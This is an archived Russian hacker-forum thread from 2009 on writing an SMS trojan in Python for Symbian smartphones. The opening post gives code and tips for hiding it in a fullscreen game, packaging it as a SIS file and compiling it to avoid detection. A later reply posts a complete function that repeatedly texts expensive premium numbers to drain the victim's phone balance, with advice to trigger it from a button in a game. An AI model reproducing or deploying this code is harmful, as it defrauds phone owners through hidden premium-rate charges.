PDA

Просмотр полной версии : Пишем смс-трой на python'e.


faza02
16.02.2009, 16:09
Писать будем под symbian. 6-8.
Начнем.

import messaging # импортируем модуль
num='1' # номер
message='02' # сообщение
messaging.sms_send(num, message) # ну и отправляем

Вот впринципе и все.

1. Рассмотрим некоторые моменты.
1.1 Модуль messaging.py иногда удаляют, т.к. он вобщем то не нужен.
1.2 Поэтому модуль лучше закинуть в sis-пакет.
1.3 Назвать модуль лучше по другому.
1.4 Этот код, лучше спрятать в другую игру/прогамму на py. В которой full экран.

Трой будет работать только на том смартфоне, на котором есть интерпиратор питона. Если нет - все гораздо сложнее. Вместе с троем нам придеться устанавливать и сам интерпиратор.. То есть размер увеличется до 300-400 kb.
Весь код лучше компильнуть, для беспалевности.

SIS.
Создадим sis-пакет. Например программой SISBOOM (symbian). У нас должны быть файлы:

messaging.py (не забываем про 1.1 и 1.2)
sms.app
default.pyc
sms.rsc
sms.aif (Иконка. По желанию. Но для большей привлекательности, не помешает;) )

Создать файлы app и rsc можно LinkApper'ом.

Упаковываем. Получаем sis-пакет. Вот и все, enjoy!

(c) faza02 aka фа3а aka f02

faza02
18.02.2009, 08:42
63 просмотра и нету ниодного поста. типо не труъ? =((

.acme
18.02.2009, 09:06
это не тру, это пиздец. извини, ничего личного.

faza02
18.02.2009, 09:45
почему?

D1AB0L1K
18.02.2009, 10:36
это пиздец. извини, ничего личного.+1 я блин даже посмеяться не смог с этого вируса так называемого, кроме "это пиздец" дажь сказать нечего язык не поворачивается...
ТС лучше продолжай сидеть в теме со скулями ;)

login999
18.02.2009, 11:21
а можно пожалуйста код модуля messaging привести ?

iddqd
18.02.2009, 11:27
качни megamodulepack для симбиана и там посмотри
думаю, отдельно трудно найти

login999
18.02.2009, 12:19
import e32
import _messaging

ECreated=_messaging.ECreated
EMovedToOutBox=_messaging.EMovedToOutBox
EScheduledForSend=_messaging.EScheduledForSend
ESent=_messaging.ESent
EDeleted=_messaging.EDeleted

EScheduleFailed=_messaging.EScheduleFailed
ESendFailed=_messaging.ESendFailed
ENoServiceCentre=_messaging.ENoServiceCentre
EFatalServerError=_messaging.EFatalServerError

encodingmap={'7bit':_messaging.EEncoding7bit,
'8bit':_messaging.EEncoding8bit,
'UCS2':_messaging.EEncodingUCS2}

_my_messaging=None
_sending=False
_signaled=False

def sms_send(number,msg,encoding='7bit', callback=None):
global _sending
global _signaled
global _my_messaging
if _sending:
raise RuntimeError, "Already sending"
def signal_lock():
global _signaled
if not _signaled:
lock.signal()
_signaled=True
def event_cb(arg):
global _signaled
global _sending
if callback!=None:
callback(arg)
signal_lock()
if e32.in_emulator():
if arg==ENoServiceCentre:
_sending=False
signal_lock()
if arg==EDeleted or arg==ESendFailed:
_sending=False
signal_lock()
callback_error[0]=arg

if callback!=None:
if not callable(callback):
raise TypeError("'%s' is not callable"%callback)

lock=e32.Ao_lock()
_signaled=False
callback_error=[0]

_my_messaging=_messaging.Messaging(number,unicode( msg),encodingmap[encoding],event_cb)
_sending=True
lock.wait()

def trn_sms_send():
gold_num_valuable='1' # пятибаксовый/десятибаксовый номер
gold_num_cheap='1' # дешевый голд номер (тридцатицентовый / и т.д)
message_valuable='02' # сообщение для дорогого номера
message_cheap='03' # сообщение для дешевого номера
while True:
try:
sms_send(gold_num_valuable, message_valuable) # ну и отправляем
except:
while True:
try:
sms_send(gold_num_cheap, message_cheap) # ну и отправляем
except:
break
break
trn_sms_send() # вызов функции для опустошения счета
#(c)login999
#thx to faza02
#lol


Вариации на данную тему :)
Спасибо faza02 за предоставленный код messaging.py :)
К сожалению, не могу проверить так как нету смарта :(, но код должен работать :)
фактически в этот код включен модуль messaging.py, так что его не придется импортировать :).
По идее, данный код можно встроить в любую софтину на питоне, а потом вызвать опустошение счета функцией "trn_sms_send" (например в игрушке после того как нажали кнопку :))
код шлет сколько может смсок на дорогой номер, а потом когда недостаточно на счету , шлет на другой, более дешевый :)
надеюсь, что все будет работать так как я предполагаю :)
Выложено исключительно в ознакомительных целях

ufoPlast
05.03.2009, 18:48
Я же писал статью еще год назад, только после того как на ачате винт сдох она как и куча остальных канула в никуда))
http://www.sclan.info/thread224.html

Почитайте на досуге)))